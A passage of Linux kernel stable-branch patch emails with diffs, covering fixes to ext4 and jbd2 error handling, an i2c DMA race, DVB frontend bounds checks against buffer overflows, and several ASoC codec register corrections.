Theodore Ts'o Signed-off-by: Greg Kroah-Hartman --- fs/ext4/mballoc.c | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/fs/ext4/mballoc.c b/fs/ext4/mballoc.c index df5050f9080b..61ee01603940 100644 --- a/fs/ext4/mballoc.c +++ b/fs/ext4/mballoc.c @@ -4764,18 +4764,12 @@ do_more: /* * blocks being freed are metadata. these blocks shouldn't * be used until this transaction is committed + * + * We use __GFP_NOFAIL because ext4_free_blocks() is not allowed + * to fail. */ - retry: - new_entry = kmem_cache_alloc(ext4_free_data_cachep, GFP_NOFS); - if (!new_entry) { - /* - * We use a retry loop because - * ext4_free_blocks() is not allowed to fail. - */ - cond_resched(); - congestion_wait(BLK_RW_ASYNC, HZ/50); - goto retry; - } + new_entry = kmem_cache_alloc(ext4_free_data_cachep, + GFP_NOFS|__GFP_NOFAIL); new_entry->efd_start_cluster = bit; new_entry->efd_group = block_group; new_entry->efd_count = count_clusters; -- cgit v1.2.3 From cab5d7026d869b7daa06a5e897b751f8bb07be74 Mon Sep 17 00:00:00 2001 From: Dmitry Monakhov Date: Mon, 15 Jun 2015 00:18:02 -0400 Subject: jbd2: use GFP_NOFS in jbd2_cleanup_journal_tail() commit b4f1afcd068f6e533230dfed00782cd8a907f96b upstream. jbd2_cleanup_journal_tail() can be invoked by jbd2__journal_start() So allocations should be done with GFP_NOFS [Full stack trace snipped from 3.10-rh7] [] dump_stack+0x19/0x1b [] warn_slowpath_common+0x61/0x80 [] warn_slowpath_null+0x1a/0x20 [] slab_pre_alloc_hook.isra.31.part.32+0x15/0x17 [] kmem_cache_alloc+0x55/0x210 [] ? mempool_alloc_slab+0x15/0x20 [] mempool_alloc_slab+0x15/0x20 [] mempool_alloc+0x69/0x170 [] ? _raw_spin_unlock_irq+0xe/0x20 [] ? finish_task_switch+0x5d/0x150 [] bio_alloc_bioset+0x1be/0x2e0 [] blkdev_issue_flush+0x99/0x120 [] jbd2_cleanup_journal_tail+0x93/0xa0 [jbd2] -->GFP_KERNEL [] jbd2_log_do_checkpoint+0x221/0x4a0 [jbd2] [] __jbd2_log_wait_for_space+0xa7/0x1e0 [jbd2] [] start_this_handle+0x2d8/0x550 [jbd2] [] ? __memcg_kmem_put_cache+0x29/0x30 [] ? kmem_cache_alloc+0x130/0x210 [] jbd2__journal_start+0xba/0x190 [jbd2] [] ? lru_cache_add+0xe/0x10 [] ? ext4_da_write_begin+0xf9/0x330 [ext4] [] __ext4_journal_start_sb+0x77/0x160 [ext4] [] ext4_da_write_begin+0xf9/0x330 [ext4] [] generic_file_buffered_write_iter+0x10c/0x270 [] __generic_file_write_iter+0x178/0x390 [] __generic_file_aio_write+0x8b/0xb0 [] generic_file_aio_write+0x5d/0xc0 [] ext4_file_write+0xa9/0x450 [ext4] [] ? pipe_read+0x379/0x4f0 [] do_sync_write+0x90/0xe0 [] vfs_write+0xbd/0x1e0 [] SyS_write+0x58/0xb0 [] system_call_fastpath+0x16/0x1b Signed-off-by: Dmitry Monakhov Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman --- fs/jbd2/checkpoint.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/jbd2/checkpoint.c b/fs/jbd2/checkpoint.c index c78841ee81cf..dadfedbfd356 100644 --- a/fs/jbd2/checkpoint.c +++ b/fs/jbd2/checkpoint.c @@ -455,7 +455,7 @@ int jbd2_cleanup_journal_tail(journal_t *journal) * jbd2_cleanup_journal_tail() doesn't get called all that often. */ if (journal->j_flags & JBD2_BARRIER) - blkdev_issue_flush(journal->j_fs_dev, GFP_KERNEL, NULL); + blkdev_issue_flush(journal->j_fs_dev, GFP_NOFS, NULL); __jbd2_update_log_tail(journal, first_tid, blocknr); return 0; -- cgit v1.2.3 From c507ecae237f37b992b1e4e4a7c8abb373197de5 Mon Sep 17 00:00:00 2001 From: Joseph Qi Date: Mon, 15 Jun 2015 14:36:01 -0400 Subject: jbd2: fix ocfs2 corrupt when updating journal superblock fails commit 6f6a6fda294506dfe0e3e0a253bb2d2923f28f0a upstream. If updating journal superblock fails after journal data has been flushed, the error is omitted and this will mislead the caller as a normal case. In ocfs2, the checkpoint will be treated successfully and the other node can get the lock to update. Since the sb_start is still pointing to the old log block, it will rewrite the journal data during journal recovery by the other node. Thus the new updates will be overwritten and ocfs2 corrupts. So in above case we have to return the error, and ocfs2_commit_cache will take care of the error and prevent the other node to do update first. And only after recovering journal it can do the new updates. The issue discussion mail can be found at: https://oss.oracle.com/pipermail/ocfs2-devel/2015-June/010856.html http://comments.gmane.org/gmane.comp.file-systems.ext4/48841 [ Fixed bug in patch which allowed a non-negative error return from jbd2_cleanup_journal_tail() to leak out of jbd2_fjournal_flush(); this was causing xfstests ext4/306 to fail. -- Ted ] Reported-by: Yiwen Jiang Signed-off-by: Joseph Qi Signed-off-by: Theodore Ts'o Tested-by: Yiwen Jiang Cc: Junxiao Bi Signed-off-by: Greg Kroah-Hartman --- fs/jbd2/checkpoint.c | 5 ++--- fs/jbd2/journal.c | 38 +++++++++++++++++++++++++++++++------- include/linux/jbd2.h | 4 ++-- 3 files changed, 35 insertions(+), 12 deletions(-) diff --git a/fs/jbd2/checkpoint.c b/fs/jbd2/checkpoint.c index dadfedbfd356..6bb52859cb86 100644 --- a/fs/jbd2/checkpoint.c +++ b/fs/jbd2/checkpoint.c @@ -440,7 +440,7 @@ int jbd2_cleanup_journal_tail(journal_t *journal) unsigned long blocknr; if (is_journal_aborted(journal)) - return 1; + return -EIO; if (!jbd2_journal_get_log_tail(journal, &first_tid, &blocknr)) return 1; @@ -457,8 +457,7 @@ int jbd2_cleanup_journal_tail(journal_t *journal) if (journal->j_flags & JBD2_BARRIER) blkdev_issue_flush(journal->j_fs_dev, GFP_NOFS, NULL); - __jbd2_update_log_tail(journal, first_tid, blocknr); - return 0; + return __jbd2_update_log_tail(journal, first_tid, blocknr); } diff --git a/fs/jbd2/journal.c b/fs/jbd2/journal.c index aaa1a3f33b0e..3e7ef8874ffb 100644 --- a/fs/jbd2/journal.c +++ b/fs/jbd2/journal.c @@ -869,9 +869,10 @@ int jbd2_journal_get_log_tail(journal_t *journal, tid_t *tid, * * Requires j_checkpoint_mutex */ -void __jbd2_update_log_tail(journal_t *journal, tid_t tid, unsigned long block) +int __jbd2_update_log_tail(journal_t *journal, tid_t tid, unsigned long block) { unsigned long freed; + int ret; BUG_ON(!mutex_is_locked(&journal->j_checkpoint_mutex)); @@ -881,7 +882,10 @@ void __jbd2_update_log_tail(journal_t *journal, tid_t tid, unsigned long block) * space and if we lose sb update during power failure we'd replay * old transaction with possibly newly overwritten data. */ - jbd2_journal_update_sb_log_tail(journal, tid, block, WRITE_FUA); + ret = jbd2_journal_update_sb_log_tail(journal, tid, block, WRITE_FUA); + if (ret) + goto out; + write_lock(&journal->j_state_lock); freed = block - journal->j_tail; if (block < journal->j_tail) @@ -897,6 +901,9 @@ void __jbd2_update_log_tail(journal_t *journal, tid_t tid, unsigned long block) journal->j_tail_sequence = tid; journal->j_tail = block; write_unlock(&journal->j_state_lock); + +out: + return ret; } /* @@ -1315,7 +1322,7 @@ static int journal_reset(journal_t *journal) return jbd2_journal_start_thread(journal); } -static void jbd2_write_superblock(journal_t *journal, int write_op) +static int jbd2_write_superblock(journal_t *journal, int write_op) { struct buffer_head *bh = journal->j_sb_buffer; journal_superblock_t *sb = journal->j_superblock; @@ -1354,7 +1361,10 @@ static void jbd2_write_superblock(journal_t *journal, int write_op) printk(KERN_ERR "JBD2: Error %d detected when updating " "journal superblock for %s.\n", ret, journal->j_devname); + jbd2_journal_abort(journal, ret); } + + return ret; } /** @@ -1367,10 +1377,11 @@ static void jbd2_write_superblock(journal_t *journal, int write_op) * Update a journal's superblock information about log tail and write it to * disk, waiting for the IO to complete. */ -void jbd2_journal_update_sb_log_tail(journal_t *journal, tid_t tail_tid, +int jbd2_journal_update_sb_log_tail(journal_t *journal, tid_t tail_tid, unsigned long tail_block, int write_op) { journal_superblock_t *sb = journal->j_superblock; + int ret; BUG_ON(!mutex_is_locked(&journal->j_checkpoint_mutex)); jbd_debug(1, "JBD2: updating superblock (start %lu, seq %u)\n", @@ -1379,13 +1390,18 @@ void jbd2_journal_update_sb_log_tail(journal_t *journal, tid_t tail_tid, sb->s_sequence = cpu_to_be32(tail_tid); sb->s_start = cpu_to_be32(tail_block); - jbd2_write_superblock(journal, write_op); + ret = jbd2_write_superblock(journal, write_op); + if (ret) + goto out; /* Log is no longer empty */ write_lock(&journal->j_state_lock); WARN_ON(!sb->s_sequence); journal->j_flags &= ~JBD2_FLUSHED; write_unlock(&journal->j_state_lock); + +out: + return ret; } /** @@ -1922,7 +1938,14 @@ int jbd2_journal_flush(journal_t *journal) return -EIO; mutex_lock(&journal->j_checkpoint_mutex); - jbd2_cleanup_journal_tail(journal); + if (!err) { + err = jbd2_cleanup_journal_tail(journal); + if (err < 0) { + mutex_unlock(&journal->j_checkpoint_mutex); + goto out; + } + err = 0; + } /* Finally, mark the journal as really needing no recovery. * This sets s_start==0 in the underlying superblock, which is @@ -1938,7 +1961,8 @@ int jbd2_journal_flush(journal_t *journal) J_ASSERT(journal->j_head == journal->j_tail); J_ASSERT(journal->j_tail_sequence == journal->j_transaction_sequence); write_unlock(&journal->j_state_lock); - return 0; +out: + return err; } /** diff --git a/include/linux/jbd2.h b/include/linux/jbd2.h index 6e051f472edb..0c67c1f2a890 100644 --- a/include/linux/jbd2.h +++ b/include/linux/jbd2.h @@ -997,7 +997,7 @@ extern struct journal_head * jbd2_journal_get_descriptor_buffer(journal_t *); int jbd2_journal_next_log_block(journal_t *, unsigned long long *); int jbd2_journal_get_log_tail(journal_t *journal, tid_t *tid, unsigned long *block); -void __jbd2_update_log_tail(journal_t *journal, tid_t tid, unsigned long block); +int __jbd2_update_log_tail(journal_t *journal, tid_t tid, unsigned long block); void jbd2_update_log_tail(journal_t *journal, tid_t tid, unsigned long block); /* Commit management */ @@ -1116,7 +1116,7 @@ extern int jbd2_journal_recover (journal_t *journal); extern int jbd2_journal_wipe (journal_t *, int); extern int jbd2_journal_skip_recovery (journal_t *); extern void jbd2_journal_update_sb_errno(journal_t *); -extern void jbd2_journal_update_sb_log_tail (journal_t *, tid_t, +extern int jbd2_journal_update_sb_log_tail (journal_t *, tid_t, unsigned long, int); extern void __jbd2_journal_abort_hard (journal_t *); extern void jbd2_journal_abort (journal_t *, int); -- cgit v1.2.3 From 16bead853e0df06e2de903c9ee93b687558c2954 Mon Sep 17 00:00:00 2001 From: Cyrille Pitchen Date: Tue, 9 Jun 2015 18:22:14 +0200 Subject: i2c: at91: fix a race condition when using the DMA controller commit 93563a6a71bb69dd324fc7354c60fb05f84aae6b upstream. For TX transactions, the TXCOMP bit in the Status Register is cleared when the first data is written into the Transmit Holding Register. In the lines from at91_do_twi_transfer(): at91_twi_write_data_dma(dev); at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_TXCOMP); the TXCOMP interrupt may be enabled before the DMA controller has actually started to write into the THR. In such a case, the TXCOMP bit is still set into the Status Register so the interrupt is triggered immediately. The driver understands that a transaction completion has occurred but this transaction hasn't started yet. Hence the TXCOMP interrupt is no longer enabled by at91_do_twi_transfer() but instead by at91_twi_write_data_dma_callback(). Also, the TXCOMP bit in the Status Register in not a clear on read flag but a snapshot of the transmission state at the time the Status Register is read. When a NACK error is dectected by the I2C controller, the TXCOMP, NACK and TXRDY bits are set together to 1 in the SR. If enabled, the TXCOMP interrupt is triggered at the same time. Also setting the TXRDY to 1 triggers the DMA controller to write the next data into the THR. Such a write resets the TXCOMP bit to 0 in the SR. So depending on when the interrupt handler reads the SR, it may fail to detect the NACK error if it relies on the TXCOMP bit. The NACK bit and its interrupt should be used instead. For RX transactions, the TXCOMP bit in the Status Register is cleared when the START bit is set into the Control Register. However to unify the management of the TXCOMP bit when the DMA controller is used, the TXCOMP interrupt is now enabled by the DMA callbacks for both TX and RX transfers. Signed-off-by: Cyrille Pitchen Acked-by: Ludovic Desroches Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman --- drivers/i2c/busses/i2c-at91.c | 70 ++++++++++++++++++++++++++++++++----------- 1 file changed, 53 insertions(+), 17 deletions(-) diff --git a/drivers/i2c/busses/i2c-at91.c b/drivers/i2c/busses/i2c-at91.c index 09324d0178d5..ceabcfeb587c 100644 --- a/drivers/i2c/busses/i2c-at91.c +++ b/drivers/i2c/busses/i2c-at91.c @@ -63,6 +63,9 @@ #define AT91_TWI_UNRE 0x0080 /* Underrun Error */ #define AT91_TWI_NACK 0x0100 /* Not Acknowledged */ +#define AT91_TWI_INT_MASK \ + (AT91_TWI_TXCOMP | AT91_TWI_RXRDY | AT91_TWI_TXRDY | AT91_TWI_NACK) + #define AT91_TWI_IER 0x0024 /* Interrupt Enable Register */ #define AT91_TWI_IDR 0x0028 /* Interrupt Disable Register */ #define AT91_TWI_IMR 0x002c /* Interrupt Mask Register */ @@ -118,13 +121,12 @@ static void at91_twi_write(struct at91_twi_dev *dev, unsigned reg, unsigned val) static void at91_disable_twi_interrupts(struct at91_twi_dev *dev) { - at91_twi_write(dev, AT91_TWI_IDR, - AT91_TWI_TXCOMP | AT91_TWI_RXRDY | AT91_TWI_TXRDY); + at91_twi_write(dev, AT91_TWI_IDR, AT91_TWI_INT_MASK); } static void at91_twi_irq_save(struct at91_twi_dev *dev) { - dev->imr = at91_twi_read(dev, AT91_TWI_IMR) & 0x7; + dev->imr = at91_twi_read(dev, AT91_TWI_IMR) & AT91_TWI_INT_MASK; at91_disable_twi_interrupts(dev); } @@ -214,6 +216,14 @@ static void at91_twi_write_data_dma_callback(void *data) dma_unmap_single(dev->dev, sg_dma_address(&dev->dma.sg), dev->buf_len, DMA_TO_DEVICE); + /* + * When this callback is called, THR/TX FIFO is likely not to be empty + * yet. So we have to wait for TXCOMP or NACK bits to be set into the + * Status Register to be sure that the STOP bit has been sent and the + * transfer is completed. The NACK interrupt has already been enabled, + * we just have to enable TXCOMP one. + */ + at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_TXCOMP); at91_twi_write(dev, AT91_TWI_CR, AT91_TWI_STOP); } @@ -308,7 +318,7 @@ static void at91_twi_read_data_dma_callback(void *data) /* The last two bytes have to be read without using dma */ dev->buf += dev->buf_len - 2; dev->buf_len = 2; - at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_RXRDY); + at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_RXRDY | AT91_TWI_TXCOMP); } static void at91_twi_read_data_dma(struct at91_twi_dev *dev) @@ -369,7 +379,7 @@ static irqreturn_t atmel_twi_interrupt(int irq, void *dev_id) /* catch error flags */ dev->transfer_status |= status; - if (irqstatus & AT91_TWI_TXCOMP) { + if (irqstatus & (AT91_TWI_TXCOMP | AT91_TWI_NACK)) { at91_disable_twi_interrupts(dev); complete(&dev->cmd_complete); } @@ -382,6 +392,34 @@ static int at91_do_twi_transfer(struct at91_twi_dev *dev) int ret; bool has_unre_flag = dev->pdata->has_unre_flag; + /* + * WARNING: the TXCOMP bit in the Status Register is NOT a clear on + * read flag but shows the state of the transmission at the time the + * Status Register is read. According to the programmer datasheet, + * TXCOMP is set when both holding register and internal shifter are + * empty and STOP condition has been sent. + * Consequently, we should enable NACK interrupt rather than TXCOMP to + * detect transmission failure. + * + * Besides, the TXCOMP bit is already set before the i2c transaction + * has been started. For read transactions, this bit is cleared when + * writing the START bit into the Control Register. So the + * corresponding interrupt can safely be enabled just after. + * However for write transactions managed by the CPU, we first write + * into THR, so TXCOMP is cleared. Then we can safely enable TXCOMP + * interrupt. If TXCOMP interrupt were enabled before writing into THR, + * the interrupt handler would be called immediately and the i2c command + * would be reported as completed. + * Also when a write transaction is managed by the DMA controller, + * enabling the TXCOMP interrupt in this function may lead to a race + * condition since we don't know whether the TXCOMP interrupt is enabled + * before or after the DMA has started to write into THR. So the TXCOMP + * interrupt is enabled later by at91_twi_write_data_dma_callback(). + * Immediately after in that DMA callback, we still need to send the + * STOP condition manually writing the corresponding bit into the + * Control Register. + */ + dev_dbg(dev->dev, "transfer: %s %d bytes.\n", (dev->msg->flags & I2C_M_RD) ? "read" : "write", dev->buf_len); @@ -412,26 +450,24 @@ static int at91_do_twi_transfer(struct at91_twi_dev *dev) * seems to be the best solution. */ if (dev->use_dma && (dev->buf_len > AT91_I2C_DMA_THRESHOLD)) { + at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_NACK); at91_twi_read_data_dma(dev); - /* - * It is important to enable TXCOMP irq here because - * doing it only when transferring the last two bytes - * will mask NACK errors since TXCOMP is set when a - * NACK occurs. - */ - at91_twi_write(dev, AT91_TWI_IER, - AT91_TWI_TXCOMP); - } else + } else { at91_twi_write(dev, AT91_TWI_IER, - AT91_TWI_TXCOMP | AT91_TWI_RXRDY); + AT91_TWI_TXCOMP | + AT91_TWI_NACK | + AT91_TWI_RXRDY); + } } else { if (dev->use_dma && (dev->buf_len > AT91_I2C_DMA_THRESHOLD)) { + at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_NACK); at91_twi_write_data_dma(dev); - at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_TXCOMP); } else { at91_twi_write_next_byte(dev); at91_twi_write(dev, AT91_TWI_IER, - AT91_TWI_TXCOMP | AT91_TWI_TXRDY); + AT91_TWI_TXCOMP | + AT91_TWI_NACK | + AT91_TWI_TXRDY); } } -- cgit v1.2.3 From aa264839927926ea7e4de21ba9d086708bc0ec18 Mon Sep 17 00:00:00 2001 From: JM Friedt Date: Fri, 19 Jun 2015 14:48:06 +0200 Subject: iio: DAC: ad5624r_spi: fix bit shift of output data value commit adfa969850ae93beca57f7527f0e4dc10cbe1309 upstream. The value sent on the SPI bus is shifted by an erroneous number of bits. The shift value was already computed in the iio_chan_spec structure and hence subtracting this argument to 16 yields an erroneous data position in the SPI stream. Signed-off-by: JM Friedt Acked-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman --- drivers/iio/dac/ad5624r_spi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/drivers/iio/dac/ad5624r_spi.c b/drivers/iio/dac/ad5624r_spi.c index bb298aaff321..6deac5af1cfd 100644 --- a/drivers/iio/dac/ad5624r_spi.c +++ b/drivers/iio/dac/ad5624r_spi.c @@ -22,7 +22,7 @@ #include "ad5624r.h" static int ad5624r_spi_write(struct spi_device *spi, - u8 cmd, u8 addr, u16 val, u8 len) + u8 cmd, u8 addr, u16 val, u8 shift) { u32 data; u8 msg[3]; @@ -35,7 +35,7 @@ static int ad5624r_spi_write(struct spi_device *spi, * 14-, 12-bit input code followed by 0, 2, or 4 don't care bits, * for the AD5664R, AD5644R, and AD5624R, respectively. */ - data = (0 << 22) | (cmd << 19) | (addr << 16) | (val << (16 - len)); + data = (0 << 22) | (cmd << 19) | (addr << 16) | (val << shift); msg[0] = data >> 16; msg[1] = data >> 8; msg[2] = data; -- cgit v1.2.3 From 85c81d78fd02debcdc0f885a10075f9aff55ee81 Mon Sep 17 00:00:00 2001 From: Mauro Carvalho Chehab Date: Tue, 28 Apr 2015 19:02:19 -0300 Subject: af9013: Don't accept invalid bandwidth commit d7b76c91f471413de9ded837bddeca2164786571 upstream. If userspace sends an invalid bandwidth, it should either return EINVAL or switch to auto mode. This driver will go past an array and program the hardware on a wrong way if this happens. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman --- drivers/media/dvb-frontends/af9013.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/drivers/media/dvb-frontends/af9013.c b/drivers/media/dvb-frontends/af9013.c index fb504f1e9125..5930aee6b5d0 100644 --- a/drivers/media/dvb-frontends/af9013.c +++ b/drivers/media/dvb-frontends/af9013.c @@ -606,6 +606,10 @@ static int af9013_set_frontend(struct dvb_frontend *fe) } } + /* Return an error if can't find bandwidth or the right clock */ + if (i == ARRAY_SIZE(coeff_lut)) + return -EINVAL; + ret = af9013_wr_regs(state, 0xae00, coeff_lut[i].val, sizeof(coeff_lut[i].val)); } -- cgit v1.2.3 From 72a5986b353150c220d5df97281474371a139f5e Mon Sep 17 00:00:00 2001 From: Mauro Carvalho Chehab Date: Tue, 28 Apr 2015 18:34:40 -0300 Subject: s5h1420: fix a buffer overflow when checking userspace params commit 12f4543f5d6811f864e6c4952eb27253c7466c02 upstream. The maximum size for a DiSEqC command is 6, according to the userspace API. However, the code allows to write up to 7 values: drivers/media/dvb-frontends/s5h1420.c:193 s5h1420_send_master_cmd() error: buffer overflow 'cmd->msg' 6 <= 7 Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman --- drivers/media/dvb-frontends/s5h1420.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/media/dvb-frontends/s5h1420.c b/drivers/media/dvb-frontends/s5h1420.c index 93eeaf7118fd..0b4f8fe6bf99 100644 --- a/drivers/media/dvb-frontends/s5h1420.c +++ b/drivers/media/dvb-frontends/s5h1420.c @@ -180,7 +180,7 @@ static int s5h1420_send_master_cmd (struct dvb_frontend* fe, int result = 0; dprintk("enter %s\n", __func__); - if (cmd->msg_len > 8) + if (cmd->msg_len > sizeof(cmd->msg)) return -EINVAL; /* setup for DISEQC */ -- cgit v1.2.3 From 81afd3a2f3bfd22a96a2229b8f091e072b78c0ba Mon Sep 17 00:00:00 2001 From: Mauro Carvalho Chehab Date: Tue, 28 Apr 2015 18:51:17 -0300 Subject: cx24116: fix a buffer overflow when checking userspace params commit 1fa2337a315a2448c5434f41e00d56b01a22283c upstream. The maximum size for a DiSEqC command is 6, according to the userspace API. However, the code allows to write up much more values: drivers/media/dvb-frontends/cx24116.c:983 cx24116_send_diseqc_msg() error: buffer overflow 'd->msg' 6 <= 23 Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman --- drivers/media/dvb-frontends/cx24116.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/drivers/media/dvb-frontends/cx24116.c b/drivers/media/dvb-frontends/cx24116.c index 2916d7c74a1d..7bc68b355c0b 100644 --- a/drivers/media/dvb-frontends/cx24116.c +++ b/drivers/media/dvb-frontends/cx24116.c @@ -963,6 +963,10 @@ static int cx24116_send_diseqc_msg(struct dvb_frontend *fe, struct cx24116_state *state = fe->demodulator_priv; int i, ret; + /* Validate length */ + if (d->msg_len > sizeof(d->msg)) + return -EINVAL; + /* Dump DiSEqC message */ if (debug) { printk(KERN_INFO "cx24116: %s(", __func__); @@ -974,10 +978,6 @@ static int cx24116_send_diseqc_msg(struct dvb_frontend *fe, printk(") toneburst=%d\n", toneburst); } - /* Validate length */ - if (d->msg_len > (CX24116_ARGLEN - CX24116_DISEQC_MSGOFS)) - return -EINVAL; - /* DiSEqC message */ for (i = 0; i < d->msg_len; i++) state->dsec_cmd.args[CX24116_DISEQC_MSGOFS + i] = d->msg[i]; -- cgit v1.2.3 From ea38800f911256ee729b718ba4080ba1c045ddd5 Mon Sep 17 00:00:00 2001 From: Axel Lin Date: Sun, 10 May 2015 11:35:06 +0800 Subject: ASoC: wm8737: Fixup setting VMID Impedance control register MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit 14ba3ec1de043260cecd9e828ea2e3a0ad302893 upstream. According to the datasheet: R10 (0Ah) VMID Impedance Control BIT 3:2 VMIDSEL DEFAULT 00 DESCRIPTION: VMID impedance selection control 00: 75kΩ output 01: 300kΩ output 10: 2.5kΩ output WM8737_VMIDSEL_MASK is 0xC (VMIDSEL - [3:2]), so it needs to left shift WM8737_VMIDSEL_SHIFT bits for setting these bits. Signed-off-by: Axel Lin Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman --- sound/soc/codecs/wm8737.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/sound/soc/codecs/wm8737.c b/sound/soc/codecs/wm8737.c index 2f167a8ca01b..62bacb8536e6 100644 --- a/sound/soc/codecs/wm8737.c +++ b/sound/soc/codecs/wm8737.c @@ -494,7 +494,8 @@ static int wm8737_set_bias_level(struct snd_soc_codec *codec, /* Fast VMID ramp at 2*2.5k */ snd_soc_update_bits(codec, WM8737_MISC_BIAS_CONTROL, - WM8737_VMIDSEL_MASK, 0x4); + WM8737_VMIDSEL_MASK, + 2 << WM8737_VMIDSEL_SHIFT); /* Bring VMID up */ snd_soc_update_bits(codec, WM8737_POWER_MANAGEMENT, @@ -508,7 +509,8 @@ static int wm8737_set_bias_level(struct snd_soc_codec *codec, /* VMID at 2*300k */ snd_soc_update_bits(codec, WM8737_MISC_BIAS_CONTROL, - WM8737_VMIDSEL_MASK, 2); + WM8737_VMIDSEL_MASK, + 1 << WM8737_VMIDSEL_SHIFT); break; -- cgit v1.2.3 From de2b5eb8b8865357a0766d436eddd37bb66de483 Mon Sep 17 00:00:00 2001 From: Axel Lin Date: Fri, 15 May 2015 09:15:16 +0800 Subject: ASoC: wm8955: Fix setting wrong register for WM8955_K_8_0_MASK bits commit 12c350050538c7dc779c083b7342bfd20f74949c upstream. WM8955_K_8_0_MASK bits is controlled by WM8955_PLL_CONTROL_3 rather than WM8955_PLL_CONTROL_2. Signed-off-by: Axel Lin Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman --- sound/soc/codecs/wm8955.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sound/soc/codecs/wm8955.c b/sound/soc/codecs/wm8955.c index 1c1fc6119758..475fc24c8ff6 100644 --- a/sound/soc/codecs/wm8955.c +++ b/sound/soc/codecs/wm8955.c @@ -298,7 +298,7 @@ static int wm8955_configure_clocking(struct snd_soc_codec *codec) snd_soc_update_bits(codec, WM8955_PLL_CONTROL_2, WM8955_K_17_9_MASK, (pll.k >> 9) & WM8955_K_17_9_MASK); - snd_soc_update_bits(codec, WM8955_PLL_CONTROL_2, + snd_soc_update_bits(codec, WM8955_PLL_CONTROL_3, WM8955_K_8_0_MASK, pll.k & WM8955_K_8_0_MASK); if (pll.k) -- cgit v1.2.3 From c5f6b2fa14c3b348797fc8a1da208e60200ade24 Mon Sep 17 00:00:00 2001 From: Axel Lin Date: Mon, 11 May 2015 09:04:06 +0800 Subject: ASoC: wm8903: Fix define for WM8903_VMID_RES_250K MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit ebb6ad73e645b8f2d098dd3c41d2ff0da4146a02 upstream. VMID Control 0 BIT[2:1] is VMID Divider Enable and Select 00 = VMID disabled (for OFF mode) 01 = 2 x 50kΩ divider (for normal operation) 10 = 2 x 250kΩ divider (for low power standby) 11 = 2 x 5kΩ divider (for fast start-up) So WM8903_VMID_RES_250K should be 2 << 1, which is 4. Signed-off-by: Axel Lin Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman --- sound/soc/codecs/wm8903.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sound/soc/codecs/wm8903.h b/sound/soc/codecs/wm8903.h index db949311c0f2..0bb4a647755d 100644 --- a/sound/soc/codecs/wm8903.h +++ b/sound/soc/codecs/wm8903.h @@ -172,7 +172,7 @@ extern int wm8903_mic_detect(struct snd_soc_codec *codec, #define WM8903_VMID_BUF_ENA_WIDTH 1 /* VMID_BUF_ENA */ #define WM8903_VMID_RES_50K 2 -#define WM8903_VMID_RES_250K 3 +#define WM8903_VMID_RES_250K 4 #define WM8903_VMID_RES_5K 6 /* -- cgit v1.2.3 From 7d08fbb3c879ab9e535e40b4656f2da18e7300b2 Mon Sep 17 00:00:00 2001 From: Zidan Wang Date: Thu, 11 Jun 2015 19:14:36 +0800 Subject: ASoC: wm8960: the enum of "DAC Polarity" should be wm8960_enum[1] commit a077e81ec61e07a7f86997d045109f06719fbffe upstream. the enum of "DAC Polarity" should be wm8960_enum[1]. Signed-off-by: Zidan Wang Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman --- sound/soc/codecs/wm8960.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sound/soc/codecs/wm8960.c b/sound/soc/codecs/wm8960.c index 39f65bc9de56..ae5bb95df862 100644 --- a/sound/soc/codecs/wm8960.c +++ b/sound/soc/codecs/wm8960.c @@ -242,7 +242,7 @@ SOC_SINGLE("PCM Playback -6dB Switch", WM8960_DACCTL1, 7, 1, 0), SOC_ENUM("ADC Polarity", wm8960_enum[0]), SOC_SINGLE("ADC High Pass Filter Switch", WM8960_DACCTL1, 0, 1, 0), -SOC_ENUM("DAC Polarity", wm8960_enum[2]), +SOC_ENUM("DAC Polarity", wm8960_enum[1]), SOC_SINGLE_BOOL_EXT("DAC Deemphasis Switch", 0, wm8960_get_deemph, wm8960_put_deemph), -- cgit v1.2.3 From ef06caefe8f8a91c53bbe553e5893cbf53ad49e4 Mon Sep 17 00:00:00 2001 From: Aleksei Mamlin Date: Wed, 1 Jul 2015 13:48:30 +0300 Subject: libata: add ATA_HORKAGE_BROKEN_FPDMA_AA quirk for HP 250GB SATA disk VB0250EAVER commit 08c85d2a599d967ede38a847f5594447b6100642 upstream. Enabling AA on HP 250GB SATA disk VB0250EAVER causes errors: [ 3.788362] ata3.00: failed to enable AA (error_mask=0x1) [ 3.789243] ata3.00: failed to enable AA (error_mask=0x1) Add the ATA_HORKAGE_BROKEN_FPDMA_AA for this specific harddisk. tj: Collected FPDMA_AA entries and updated comment. Signed-off-by: Aleksei Mamlin Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman --- drivers/ata/libata-core.c | 3 ++- 1 file changed, 2 insertions(+), 1 